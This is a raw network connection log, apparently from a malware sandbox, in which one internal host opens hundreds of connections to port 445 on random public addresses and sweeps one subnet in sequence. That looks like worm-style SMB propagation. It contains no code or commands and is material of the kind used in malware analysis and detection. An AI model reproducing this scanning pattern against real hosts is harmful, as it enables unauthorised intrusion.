Dec 22, 2022 10:05:08.954899073 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.979310989 CET	52542	445	192.168.2.6	176.210.131.30
Dec 22, 2022 10:05:08.986349106 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.986457109 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.986519098 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.986610889 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.986640930 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.994739056 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:09.010061026 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:09.025747061 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:09.322654009 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:09.603882074 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:09.635279894 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:09.761045933 CET	52549	445	192.168.2.6	99.8.201.251
Dec 22, 2022 10:05:09.761720896 CET	52554	445	192.168.2.6	153.64.105.40
Dec 22, 2022 10:05:09.764401913 CET	52555	445	192.168.2.6	11.31.71.213
Dec 22, 2022 10:05:09.764925003 CET	52556	445	192.168.2.6	4.168.46.19
Dec 22, 2022 10:05:09.765115023 CET	52557	445	192.168.2.6	125.47.142.123
Dec 22, 2022 10:05:09.765245914 CET	52558	445	192.168.2.6	47.111.11.5
Dec 22, 2022 10:05:09.765652895 CET	52559	445	192.168.2.6	214.178.45.21
Dec 22, 2022 10:05:09.776494026 CET	52561	445	192.168.2.6	152.112.225.127
Dec 22, 2022 10:05:09.776961088 CET	52563	445	192.168.2.6	205.111.195.53
Dec 22, 2022 10:05:09.777273893 CET	52565	445	192.168.2.6	33.207.226.216
Dec 22, 2022 10:05:09.777518988 CET	52566	445	192.168.2.6	114.30.28.89
Dec 22, 2022 10:05:09.777674913 CET	52567	445	192.168.2.6	193.89.172.133
Dec 22, 2022 10:05:09.777815104 CET	52568	445	192.168.2.6	223.12.205.225
Dec 22, 2022 10:05:09.778016090 CET	52569	445	192.168.2.6	102.139.187.24
Dec 22, 2022 10:05:09.778107882 CET	52570	445	192.168.2.6	80.9.48.122
Dec 22, 2022 10:05:09.778254986 CET	52571	445	192.168.2.6	58.50.90.237
Dec 22, 2022 10:05:09.778500080 CET	52572	445	192.168.2.6	117.56.71.230
Dec 22, 2022 10:05:09.778660059 CET	52573	445	192.168.2.6	218.188.56.228
Dec 22, 2022 10:05:09.779010057 CET	52575	445	192.168.2.6	168.227.217.252
Dec 22, 2022 10:05:09.779288054 CET	52577	445	192.168.2.6	87.197.221.155
Dec 22, 2022 10:05:09.779433012 CET	52578	445	192.168.2.6	215.185.102.225
Dec 22, 2022 10:05:09.779789925 CET	52581	445	192.168.2.6	25.160.205.73
Dec 22, 2022 10:05:09.780039072 CET	52582	445	192.168.2.6	210.67.136.183
Dec 22, 2022 10:05:09.780431032 CET	52585	445	192.168.2.6	120.15.83.162
Dec 22, 2022 10:05:09.780689001 CET	52586	445	192.168.2.6	32.5.135.132
Dec 22, 2022 10:05:09.781080008 CET	52589	445	192.168.2.6	52.31.253.238
Dec 22, 2022 10:05:09.781562090 CET	52591	445	192.168.2.6	45.239.58.12
Dec 22, 2022 10:05:09.781717062 CET	52592	445	192.168.2.6	180.115.53.8
Dec 22, 2022 10:05:09.782798052 CET	52593	445	192.168.2.6	107.139.127.153
Dec 22, 2022 10:05:09.783044100 CET	52594	445	192.168.2.6	45.124.251.207
Dec 22, 2022 10:05:09.932048082 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:10.041970968 CET	52595	445	192.168.2.6	176.210.131.31
Dec 22, 2022 10:05:10.811458111 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:10.838386059 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:10.871180058 CET	52603	445	192.168.2.6	47.166.230.44
Dec 22, 2022 10:05:10.871727943 CET	52608	445	192.168.2.6	23.6.248.108
Dec 22, 2022 10:05:10.872208118 CET	52609	445	192.168.2.6	109.60.249.156
Dec 22, 2022 10:05:10.873060942 CET	52610	445	192.168.2.6	143.59.174.18
Dec 22, 2022 10:05:10.873677969 CET	52611	445	192.168.2.6	163.62.107.212
Dec 22, 2022 10:05:10.874223948 CET	52612	445	192.168.2.6	175.170.61.79
Dec 22, 2022 10:05:10.874702930 CET	52613	445	192.168.2.6	111.153.11.186
Dec 22, 2022 10:05:10.901645899 CET	52614	445	192.168.2.6	139.38.206.96
Dec 22, 2022 10:05:10.901787043 CET	52615	445	192.168.2.6	73.190.4.37
Dec 22, 2022 10:05:10.901940107 CET	52617	445	192.168.2.6	198.13.22.151
Dec 22, 2022 10:05:10.902009964 CET	52616	445	192.168.2.6	197.199.184.196
Dec 22, 2022 10:05:10.902113914 CET	52619	445	192.168.2.6	21.106.102.195
Dec 22, 2022 10:05:10.902319908 CET	52623	445	192.168.2.6	93.14.143.90
Dec 22, 2022 10:05:10.902427912 CET	52622	445	192.168.2.6	78.18.222.254
Dec 22, 2022 10:05:10.902604103 CET	52626	445	192.168.2.6	220.119.36.188
Dec 22, 2022 10:05:10.902636051 CET	52627	445	192.168.2.6	222.181.165.153
Dec 22, 2022 10:05:10.902811050 CET	52630	445	192.168.2.6	12.55.122.39
Dec 22, 2022 10:05:10.902875900 CET	52631	445	192.168.2.6	48.87.202.2
Dec 22, 2022 10:05:10.903007984 CET	52633	445	192.168.2.6	72.9.13.56
Dec 22, 2022 10:05:10.903137922 CET	52636	445	192.168.2.6	37.150.105.20
Dec 22, 2022 10:05:10.903137922 CET	52635	445	192.168.2.6	142.6.138.8
Dec 22, 2022 10:05:10.903222084 CET	52637	445	192.168.2.6	60.10.51.192
Dec 22, 2022 10:05:10.903254986 CET	52638	445	192.168.2.6	105.24.47.46
Dec 22, 2022 10:05:10.903337955 CET	52639	445	192.168.2.6	210.227.43.249
Dec 22, 2022 10:05:10.903408051 CET	52640	445	192.168.2.6	106.251.47.35
Dec 22, 2022 10:05:10.903491974 CET	52641	445	192.168.2.6	135.106.150.212
Dec 22, 2022 10:05:10.903582096 CET	52642	445	192.168.2.6	155.76.146.215
Dec 22, 2022 10:05:10.903726101 CET	52643	445	192.168.2.6	54.107.125.103
Dec 22, 2022 10:05:10.903726101 CET	52645	445	192.168.2.6	168.240.43.180
Dec 22, 2022 10:05:10.903867006 CET	52647	445	192.168.2.6	15.128.138.190
Dec 22, 2022 10:05:11.023035049 CET	445	52636	37.150.105.20	192.168.2.6
Dec 22, 2022 10:05:11.120043993 CET	52649	445	192.168.2.6	176.210.131.32
Dec 22, 2022 10:05:11.135262966 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:11.526071072 CET	52636	445	192.168.2.6	37.150.105.20
Dec 22, 2022 10:05:11.645989895 CET	445	52636	37.150.105.20	192.168.2.6
Dec 22, 2022 10:05:11.997636080 CET	52657	445	192.168.2.6	124.173.97.148
Dec 22, 2022 10:05:12.000813007 CET	52661	445	192.168.2.6	70.74.54.106
Dec 22, 2022 10:05:12.001143932 CET	52663	445	192.168.2.6	14.28.206.105
Dec 22, 2022 10:05:12.003679991 CET	52664	445	192.168.2.6	134.147.209.164
Dec 22, 2022 10:05:12.003983021 CET	52665	445	192.168.2.6	146.72.170.77
Dec 22, 2022 10:05:12.004196882 CET	52666	445	192.168.2.6	48.176.110.127
Dec 22, 2022 10:05:12.004271030 CET	52667	445	192.168.2.6	204.192.22.132
Dec 22, 2022 10:05:12.027215958 CET	52668	445	192.168.2.6	24.219.23.160
Dec 22, 2022 10:05:12.027858019 CET	52669	445	192.168.2.6	70.38.19.88
Dec 22, 2022 10:05:12.028808117 CET	52672	445	192.168.2.6	152.59.151.176
Dec 22, 2022 10:05:12.029486895 CET	52673	445	192.168.2.6	108.221.46.55
Dec 22, 2022 10:05:12.029900074 CET	52676	445	192.168.2.6	197.189.56.35
Dec 22, 2022 10:05:12.030061960 CET	52677	445	192.168.2.6	215.36.210.184
Dec 22, 2022 10:05:12.030203104 CET	52679	445	192.168.2.6	129.23.221.169
Dec 22, 2022 10:05:12.030323029 CET	52681	445	192.168.2.6	116.70.59.38
Dec 22, 2022 10:05:12.030479908 CET	52684	445	192.168.2.6	211.79.184.165
Dec 22, 2022 10:05:12.030531883 CET	52685	445	192.168.2.6	177.70.155.59
Dec 22, 2022 10:05:12.030592918 CET	52686	445	192.168.2.6	2.254.4.135
Dec 22, 2022 10:05:12.030702114 CET	52687	445	192.168.2.6	103.10.47.44
Dec 22, 2022 10:05:12.030702114 CET	52688	445	192.168.2.6	11.139.113.168
Dec 22, 2022 10:05:12.030848980 CET	52689	445	192.168.2.6	162.70.209.182
Dec 22, 2022 10:05:12.030848980 CET	52690	445	192.168.2.6	129.20.249.243
Dec 22, 2022 10:05:12.030961990 CET	52691	445	192.168.2.6	187.205.100.25
Dec 22, 2022 10:05:12.030985117 CET	52692	445	192.168.2.6	146.189.112.228
Dec 22, 2022 10:05:12.031088114 CET	52693	445	192.168.2.6	197.88.155.224
Dec 22, 2022 10:05:12.031207085 CET	52695	445	192.168.2.6	71.54.160.202
Dec 22, 2022 10:05:12.031469107 CET	52697	445	192.168.2.6	27.117.210.58
Dec 22, 2022 10:05:12.031579971 CET	52699	445	192.168.2.6	12.90.58.144
Dec 22, 2022 10:05:12.031697989 CET	52701	445	192.168.2.6	20.121.187.46
Dec 22, 2022 10:05:12.031826973 CET	52700	445	192.168.2.6	72.192.152.214
Dec 22, 2022 10:05:12.182903051 CET	52704	445	192.168.2.6	176.210.131.33
Dec 22, 2022 10:05:12.338479042 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:13.120858908 CET	52712	445	192.168.2.6	136.34.36.142
Dec 22, 2022 10:05:13.121469975 CET	52716	445	192.168.2.6	19.121.235.238
Dec 22, 2022 10:05:13.121717930 CET	52718	445	192.168.2.6	62.108.18.86
Dec 22, 2022 10:05:13.122323990 CET	52719	445	192.168.2.6	165.100.168.183
Dec 22, 2022 10:05:13.122834921 CET	52720	445	192.168.2.6	73.79.152.197
Dec 22, 2022 10:05:13.123553038 CET	52721	445	192.168.2.6	202.166.86.56
Dec 22, 2022 10:05:13.123743057 CET	52722	445	192.168.2.6	92.33.50.113
Dec 22, 2022 10:05:13.136001110 CET	52724	445	192.168.2.6	168.123.35.97
Dec 22, 2022 10:05:13.136204004 CET	52726	445	192.168.2.6	72.30.78.137
Dec 22, 2022 10:05:13.136288881 CET	52727	445	192.168.2.6	3.106.113.153
Dec 22, 2022 10:05:13.136354923 CET	52729	445	192.168.2.6	123.113.151.207
Dec 22, 2022 10:05:13.136497021 CET	52731	445	192.168.2.6	57.241.7.39
Dec 22, 2022 10:05:13.136570930 CET	52732	445	192.168.2.6	22.155.23.4
Dec 22, 2022 10:05:13.136739016 CET	52736	445	192.168.2.6	212.203.228.9
Dec 22, 2022 10:05:13.136779070 CET	52737	445	192.168.2.6	37.6.53.180
Dec 22, 2022 10:05:13.136902094 CET	52739	445	192.168.2.6	4.252.73.31
Dec 22, 2022 10:05:13.137011051 CET	52740	445	192.168.2.6	83.27.208.182
Dec 22, 2022 10:05:13.137015104 CET	52742	445	192.168.2.6	169.153.96.245
Dec 22, 2022 10:05:13.137115955 CET	52743	445	192.168.2.6	84.133.108.124
Dec 22, 2022 10:05:13.137135029 CET	52741	445	192.168.2.6	90.189.85.27
Dec 22, 2022 10:05:13.137146950 CET	52744	445	192.168.2.6	15.156.159.190
Dec 22, 2022 10:05:13.137196064 CET	52745	445	192.168.2.6	151.110.147.163
Dec 22, 2022 10:05:13.137290001 CET	52746	445	192.168.2.6	56.78.241.87
Dec 22, 2022 10:05:13.137341976 CET	52747	445	192.168.2.6	144.87.52.206
Dec 22, 2022 10:05:13.137434006 CET	52748	445	192.168.2.6	43.133.182.230
Dec 22, 2022 10:05:13.137769938 CET	52752	445	192.168.2.6	66.157.170.252
Dec 22, 2022 10:05:13.137868881 CET	52751	445	192.168.2.6	72.226.7.131
Dec 22, 2022 10:05:13.138072968 CET	52754	445	192.168.2.6	112.240.109.174
Dec 22, 2022 10:05:13.138077974 CET	52755	445	192.168.2.6	32.249.132.254
Dec 22, 2022 10:05:13.138263941 CET	52756	445	192.168.2.6	67.20.49.161
Dec 22, 2022 10:05:13.213587999 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:13.244851112 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:13.245758057 CET	52758	445	192.168.2.6	176.210.131.34
Dec 22, 2022 10:05:13.541760921 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:14.231396914 CET	52769	445	192.168.2.6	3.4.244.252
Dec 22, 2022 10:05:14.231755018 CET	52773	445	192.168.2.6	174.97.175.44
Dec 22, 2022 10:05:14.234447002 CET	52774	445	192.168.2.6	104.57.78.231
Dec 22, 2022 10:05:14.235646009 CET	52775	445	192.168.2.6	3.5.131.7
Dec 22, 2022 10:05:14.235685110 CET	52776	445	192.168.2.6	132.161.99.207
Dec 22, 2022 10:05:14.235810041 CET	52777	445	192.168.2.6	20.133.0.217
Dec 22, 2022 10:05:14.235855103 CET	52778	445	192.168.2.6	222.173.205.119
Dec 22, 2022 10:05:14.245340109 CET	52779	445	192.168.2.6	87.251.168.197
Dec 22, 2022 10:05:14.245810032 CET	52784	445	192.168.2.6	3.98.44.47
Dec 22, 2022 10:05:14.245949984 CET	52785	445	192.168.2.6	94.3.15.78
Dec 22, 2022 10:05:14.245959997 CET	52786	445	192.168.2.6	130.70.149.145
Dec 22, 2022 10:05:14.246079922 CET	52787	445	192.168.2.6	6.137.50.110
Dec 22, 2022 10:05:14.246191978 CET	52788	445	192.168.2.6	28.91.31.244
Dec 22, 2022 10:05:14.246231079 CET	52789	445	192.168.2.6	144.233.19.80
Dec 22, 2022 10:05:14.246448994 CET	52791	445	192.168.2.6	105.130.219.251
Dec 22, 2022 10:05:14.246577978 CET	52792	445	192.168.2.6	95.16.185.126
Dec 22, 2022 10:05:14.246745110 CET	52793	445	192.168.2.6	201.112.44.239
Dec 22, 2022 10:05:14.246860981 CET	52795	445	192.168.2.6	169.19.158.249
Dec 22, 2022 10:05:14.246861935 CET	52794	445	192.168.2.6	150.212.61.197
Dec 22, 2022 10:05:14.247055054 CET	52796	445	192.168.2.6	63.251.195.133
Dec 22, 2022 10:05:14.247315884 CET	52798	445	192.168.2.6	179.130.11.36
Dec 22, 2022 10:05:14.247466087 CET	52800	445	192.168.2.6	64.61.86.9
Dec 22, 2022 10:05:14.247597933 CET	52801	445	192.168.2.6	108.103.181.220
Dec 22, 2022 10:05:14.247900009 CET	52806	445	192.168.2.6	64.164.58.160
Dec 22, 2022 10:05:14.248076916 CET	52805	445	192.168.2.6	190.202.210.102
Dec 22, 2022 10:05:14.248393059 CET	52809	445	192.168.2.6	149.67.227.248
Dec 22, 2022 10:05:14.248399973 CET	52808	445	192.168.2.6	2.33.209.142
Dec 22, 2022 10:05:14.248780966 CET	52812	445	192.168.2.6	135.206.71.24
Dec 22, 2022 10:05:14.249156952 CET	52813	445	192.168.2.6	190.32.80.157
Dec 22, 2022 10:05:14.309509993 CET	52814	445	192.168.2.6	176.210.131.35
Dec 22, 2022 10:05:15.355376959 CET	52825	445	192.168.2.6	208.135.159.246
Dec 22, 2022 10:05:15.355588913 CET	52829	445	192.168.2.6	158.125.102.162
Dec 22, 2022 10:05:15.356189013 CET	52830	445	192.168.2.6	197.75.49.71
Dec 22, 2022 10:05:15.356781960 CET	52831	445	192.168.2.6	22.49.41.220
Dec 22, 2022 10:05:15.357348919 CET	52832	445	192.168.2.6	218.38.98.222
Dec 22, 2022 10:05:15.358001947 CET	52833	445	192.168.2.6	26.163.171.141
Dec 22, 2022 10:05:15.358684063 CET	52834	445	192.168.2.6	3.156.101.160
Dec 22, 2022 10:05:15.370764971 CET	52836	445	192.168.2.6	137.47.228.226
Dec 22, 2022 10:05:15.371649027 CET	52840	445	192.168.2.6	25.13.63.127
Dec 22, 2022 10:05:15.371845007 CET	52841	445	192.168.2.6	161.192.246.213
Dec 22, 2022 10:05:15.371978998 CET	52842	445	192.168.2.6	40.111.9.201
Dec 22, 2022 10:05:15.372104883 CET	52843	445	192.168.2.6	97.152.159.72
Dec 22, 2022 10:05:15.372292995 CET	52844	445	192.168.2.6	8.34.124.220
Dec 22, 2022 10:05:15.372462034 CET	52845	445	192.168.2.6	63.236.31.229
Dec 22, 2022 10:05:15.372637033 CET	52847	445	192.168.2.6	176.230.25.220
Dec 22, 2022 10:05:15.372730970 CET	52848	445	192.168.2.6	81.148.212.153
Dec 22, 2022 10:05:15.372827053 CET	52849	445	192.168.2.6	99.217.205.92
Dec 22, 2022 10:05:15.372940063 CET	52850	445	192.168.2.6	66.247.201.136
Dec 22, 2022 10:05:15.373239040 CET	52851	445	192.168.2.6	130.223.135.187
Dec 22, 2022 10:05:15.373347044 CET	52852	445	192.168.2.6	94.158.47.82
Dec 22, 2022 10:05:15.373439074 CET	52853	445	192.168.2.6	134.211.203.130
Dec 22, 2022 10:05:15.373538971 CET	52854	445	192.168.2.6	61.126.6.101
Dec 22, 2022 10:05:15.373831034 CET	52856	445	192.168.2.6	30.56.23.111
Dec 22, 2022 10:05:15.374034882 CET	52857	445	192.168.2.6	62.137.72.54
Dec 22, 2022 10:05:15.374375105 CET	52861	445	192.168.2.6	151.240.31.12
Dec 22, 2022 10:05:15.374655008 CET	52862	445	192.168.2.6	175.61.67.241
Dec 22, 2022 10:05:15.374867916 CET	52864	445	192.168.2.6	126.24.104.111
Dec 22, 2022 10:05:15.375051975 CET	52865	445	192.168.2.6	108.64.92.103
Dec 22, 2022 10:05:15.375365973 CET	52868	445	192.168.2.6	141.128.1.122
Dec 22, 2022 10:05:15.376075029 CET	52869	445	192.168.2.6	149.223.153.127
Dec 22, 2022 10:05:15.376411915 CET	52870	445	192.168.2.6	176.210.131.36
Dec 22, 2022 10:05:15.400573969 CET	445	52791	105.130.219.251	192.168.2.6
Dec 22, 2022 10:05:15.400660992 CET	52791	445	192.168.2.6	105.130.219.251
Dec 22, 2022 10:05:15.401189089 CET	445	52791	105.130.219.251	192.168.2.6
Dec 22, 2022 10:05:15.948230028 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:16.449502945 CET	52878	445	192.168.2.6	176.210.131.37
Dec 22, 2022 10:05:16.485400915 CET	52879	445	192.168.2.6	167.185.11.87
Dec 22, 2022 10:05:16.485990047 CET	52880	445	192.168.2.6	114.234.53.11
Dec 22, 2022 10:05:16.487292051 CET	52889	445	192.168.2.6	27.225.2.20
Dec 22, 2022 10:05:16.488248110 CET	52890	445	192.168.2.6	167.253.3.250
Dec 22, 2022 10:05:16.488737106 CET	52891	445	192.168.2.6	59.172.65.203
Dec 22, 2022 10:05:16.488761902 CET	52892	445	192.168.2.6	30.194.41.159
Dec 22, 2022 10:05:16.495590925 CET	52894	445	192.168.2.6	44.98.181.149
Dec 22, 2022 10:05:16.496120930 CET	52899	445	192.168.2.6	52.1.119.3
Dec 22, 2022 10:05:16.496262074 CET	52900	445	192.168.2.6	115.86.148.231
Dec 22, 2022 10:05:16.496385098 CET	52902	445	192.168.2.6	3.145.49.227
Dec 22, 2022 10:05:16.496396065 CET	52901	445	192.168.2.6	178.212.13.116
Dec 22, 2022 10:05:16.496545076 CET	52904	445	192.168.2.6	14.187.16.83
Dec 22, 2022 10:05:16.496615887 CET	52905	445	192.168.2.6	171.145.226.15
Dec 22, 2022 10:05:16.496629000 CET	52906	445	192.168.2.6	199.236.102.128
Dec 22, 2022 10:05:16.496710062 CET	52898	445	192.168.2.6	112.173.97.103
Dec 22, 2022 10:05:16.496769905 CET	52908	445	192.168.2.6	5.254.217.221
Dec 22, 2022 10:05:16.496798992 CET	52907	445	192.168.2.6	219.99.227.52
Dec 22, 2022 10:05:16.496798992 CET	52909	445	192.168.2.6	221.159.76.215
Dec 22, 2022 10:05:16.496980906 CET	52912	445	192.168.2.6	106.144.150.43
Dec 22, 2022 10:05:16.496982098 CET	52910	445	192.168.2.6	222.226.86.74
Dec 22, 2022 10:05:16.497123957 CET	52911	445	192.168.2.6	118.106.141.193
Dec 22, 2022 10:05:16.497169971 CET	52913	445	192.168.2.6	134.208.4.5
Dec 22, 2022 10:05:16.497260094 CET	52915	445	192.168.2.6	44.94.111.208
Dec 22, 2022 10:05:16.497440100 CET	52919	445	192.168.2.6	159.151.1.152
Dec 22, 2022 10:05:16.497550011 CET	52920	445	192.168.2.6	186.26.168.69
Dec 22, 2022 10:05:16.497733116 CET	52922	445	192.168.2.6	195.176.234.12
Dec 22, 2022 10:05:16.497737885 CET	52923	445	192.168.2.6	149.109.110.209
Dec 22, 2022 10:05:16.497896910 CET	52926	445	192.168.2.6	30.244.172.214
Dec 22, 2022 10:05:16.498542070 CET	52927	445	192.168.2.6	34.116.188.109
Dec 22, 2022 10:05:17.511578083 CET	52935	445	192.168.2.6	176.210.131.38
Dec 22, 2022 10:05:17.600649118 CET	52937	445	192.168.2.6	103.196.74.116
Dec 22, 2022 10:05:17.601466894 CET	52938	445	192.168.2.6	90.182.189.64
Dec 22, 2022 10:05:17.602176905 CET	52939	445	192.168.2.6	220.24.66.80
Dec 22, 2022 10:05:17.602857113 CET	52940	445	192.168.2.6	181.193.13.18
Dec 22, 2022 10:05:17.603421926 CET	52941	445	192.168.2.6	107.152.123.98
Dec 22, 2022 10:05:17.605195999 CET	52946	445	192.168.2.6	177.231.61.56
Dec 22, 2022 10:05:17.605838060 CET	52949	445	192.168.2.6	201.174.3.128
Dec 22, 2022 10:05:17.606467962 CET	52955	445	192.168.2.6	221.173.89.134
Dec 22, 2022 10:05:17.606566906 CET	52956	445	192.168.2.6	172.107.21.187
Dec 22, 2022 10:05:17.606664896 CET	52957	445	192.168.2.6	25.36.113.172
Dec 22, 2022 10:05:17.606760979 CET	52958	445	192.168.2.6	213.46.108.249
Dec 22, 2022 10:05:17.606846094 CET	52959	445	192.168.2.6	198.101.201.111
Dec 22, 2022 10:05:17.607028008 CET	52961	445	192.168.2.6	149.172.252.233
Dec 22, 2022 10:05:17.607243061 CET	52962	445	192.168.2.6	17.134.90.5
Dec 22, 2022 10:05:17.607346058 CET	52963	445	192.168.2.6	81.106.75.1
Dec 22, 2022 10:05:17.607426882 CET	52964	445	192.168.2.6	30.81.236.210
Dec 22, 2022 10:05:17.607517958 CET	52965	445	192.168.2.6	90.103.120.109
Dec 22, 2022 10:05:17.607615948 CET	52966	445	192.168.2.6	194.23.27.196
Dec 22, 2022 10:05:17.607794046 CET	52967	445	192.168.2.6	13.207.43.172
Dec 22, 2022 10:05:17.607952118 CET	52968	445	192.168.2.6	102.8.96.250
Dec 22, 2022 10:05:17.608048916 CET	52969	445	192.168.2.6	217.53.18.67
Dec 22, 2022 10:05:17.608230114 CET	52971	445	192.168.2.6	40.176.170.145
Dec 22, 2022 10:05:17.608565092 CET	52973	445	192.168.2.6	144.32.149.130
Dec 22, 2022 10:05:17.608761072 CET	52976	445	192.168.2.6	184.218.96.132
Dec 22, 2022 10:05:17.608917952 CET	52977	445	192.168.2.6	220.127.100.125
Dec 22, 2022 10:05:17.608922958 CET	52979	445	192.168.2.6	134.243.16.96
Dec 22, 2022 10:05:17.608973980 CET	52980	445	192.168.2.6	110.152.196.150
Dec 22, 2022 10:05:17.609204054 CET	52983	445	192.168.2.6	46.136.105.10
Dec 22, 2022 10:05:17.612348080 CET	52943	445	192.168.2.6	155.239.6.131
Dec 22, 2022 10:05:17.612987041 CET	52984	445	192.168.2.6	41.1.205.127
Dec 22, 2022 10:05:18.026499987 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:18.057773113 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:18.590543032 CET	52993	445	192.168.2.6	176.210.131.39
Dec 22, 2022 10:05:18.699287891 CET	52995	445	192.168.2.6	124.21.165.138
Dec 22, 2022 10:05:18.699703932 CET	52996	445	192.168.2.6	223.213.133.1
Dec 22, 2022 10:05:18.703042030 CET	52998	445	192.168.2.6	202.248.138.104
Dec 22, 2022 10:05:18.703156948 CET	52999	445	192.168.2.6	72.85.90.159
Dec 22, 2022 10:05:18.703247070 CET	53000	445	192.168.2.6	154.253.27.67
Dec 22, 2022 10:05:18.714786053 CET	53002	445	192.168.2.6	78.44.206.136
Dec 22, 2022 10:05:18.715456963 CET	53006	445	192.168.2.6	219.253.58.162
Dec 22, 2022 10:05:18.716087103 CET	53012	445	192.168.2.6	143.212.215.127
Dec 22, 2022 10:05:18.716218948 CET	53013	445	192.168.2.6	114.210.95.215
Dec 22, 2022 10:05:18.716375113 CET	53014	445	192.168.2.6	84.181.86.72
Dec 22, 2022 10:05:18.716634035 CET	53015	445	192.168.2.6	176.121.98.130
Dec 22, 2022 10:05:18.716913939 CET	53016	445	192.168.2.6	61.76.147.149
Dec 22, 2022 10:05:18.716960907 CET	53018	445	192.168.2.6	8.179.152.22
Dec 22, 2022 10:05:18.717148066 CET	53019	445	192.168.2.6	167.41.180.136
Dec 22, 2022 10:05:18.717211008 CET	53020	445	192.168.2.6	123.113.118.4
Dec 22, 2022 10:05:18.717312098 CET	53021	445	192.168.2.6	125.233.221.14
Dec 22, 2022 10:05:18.717508078 CET	53022	445	192.168.2.6	28.233.188.26
Dec 22, 2022 10:05:18.717622042 CET	53023	445	192.168.2.6	137.148.168.27
Dec 22, 2022 10:05:18.717760086 CET	53024	445	192.168.2.6	203.102.178.120
Dec 22, 2022 10:05:18.717886925 CET	53025	445	192.168.2.6	184.93.225.223
Dec 22, 2022 10:05:18.717952013 CET	53026	445	192.168.2.6	103.76.23.154
Dec 22, 2022 10:05:18.718184948 CET	53028	445	192.168.2.6	2.174.242.109
Dec 22, 2022 10:05:18.718286991 CET	53030	445	192.168.2.6	173.209.117.77
Dec 22, 2022 10:05:18.718532085 CET	53033	445	192.168.2.6	103.91.75.151
Dec 22, 2022 10:05:18.718720913 CET	53034	445	192.168.2.6	111.172.240.222
Dec 22, 2022 10:05:18.718965054 CET	53036	445	192.168.2.6	72.50.104.36
Dec 22, 2022 10:05:18.719211102 CET	53038	445	192.168.2.6	115.189.77.122
Dec 22, 2022 10:05:18.719372988 CET	53040	445	192.168.2.6	36.248.188.206
Dec 22, 2022 10:05:18.719871044 CET	53041	445	192.168.2.6	160.240.55.61
Dec 22, 2022 10:05:18.720407963 CET	53042	445	192.168.2.6	68.113.99.27
Dec 22, 2022 10:05:19.673382044 CET	53049	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:19.777781963 CET	445	53049	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:19.780059099 CET	53049	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:19.844862938 CET	53052	445	192.168.2.6	165.223.88.161
Dec 22, 2022 10:05:19.845956087 CET	53049	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:19.847296953 CET	53055	445	192.168.2.6	53.152.27.229
Dec 22, 2022 10:05:19.847609997 CET	53057	445	192.168.2.6	78.228.18.134
Dec 22, 2022 10:05:19.847775936 CET	53059	445	192.168.2.6	42.78.203.154
Dec 22, 2022 10:05:19.847914934 CET	53060	445	192.168.2.6	205.112.104.135
Dec 22, 2022 10:05:19.848103046 CET	53062	445	192.168.2.6	93.180.119.79
Dec 22, 2022 10:05:19.848464966 CET	53064	445	192.168.2.6	161.189.176.210
Dec 22, 2022 10:05:19.848536015 CET	53067	445	192.168.2.6	171.185.91.32
Dec 22, 2022 10:05:19.848668098 CET	53068	445	192.168.2.6	76.23.229.29
Dec 22, 2022 10:05:19.848853111 CET	53071	445	192.168.2.6	70.95.202.248
Dec 22, 2022 10:05:19.848983049 CET	53073	445	192.168.2.6	194.112.246.15
Dec 22, 2022 10:05:19.849004984 CET	53072	445	192.168.2.6	130.156.41.5
Dec 22, 2022 10:05:19.849109888 CET	53074	445	192.168.2.6	130.92.204.222
Dec 22, 2022 10:05:19.849214077 CET	53075	445	192.168.2.6	140.17.69.245
Dec 22, 2022 10:05:19.849247932 CET	53076	445	192.168.2.6	7.120.36.92
Dec 22, 2022 10:05:19.849364996 CET	53077	445	192.168.2.6	196.21.62.7
Dec 22, 2022 10:05:19.849432945 CET	53078	445	192.168.2.6	15.47.214.48
Dec 22, 2022 10:05:19.849473953 CET	53079	445	192.168.2.6	211.146.109.231
Dec 22, 2022 10:05:19.849646091 CET	53081	445	192.168.2.6	55.168.66.13
Dec 22, 2022 10:05:19.849802017 CET	53083	445	192.168.2.6	86.192.238.138
Dec 22, 2022 10:05:19.849809885 CET	53082	445	192.168.2.6	206.30.232.74
Dec 22, 2022 10:05:19.849915981 CET	53084	445	192.168.2.6	151.183.200.235
Dec 22, 2022 10:05:19.850039959 CET	53085	445	192.168.2.6	119.102.52.2
Dec 22, 2022 10:05:19.850344896 CET	53091	445	192.168.2.6	198.55.79.71
Dec 22, 2022 10:05:19.852241993 CET	53095	445	192.168.2.6	219.94.23.152
Dec 22, 2022 10:05:19.853883982 CET	53096	445	192.168.2.6	171.133.146.162
Dec 22, 2022 10:05:19.854044914 CET	53097	445	192.168.2.6	152.2.237.182
Dec 22, 2022 10:05:19.854435921 CET	53098	445	192.168.2.6	156.88.7.58
Dec 22, 2022 10:05:19.854547977 CET	53099	445	192.168.2.6	38.236.65.216
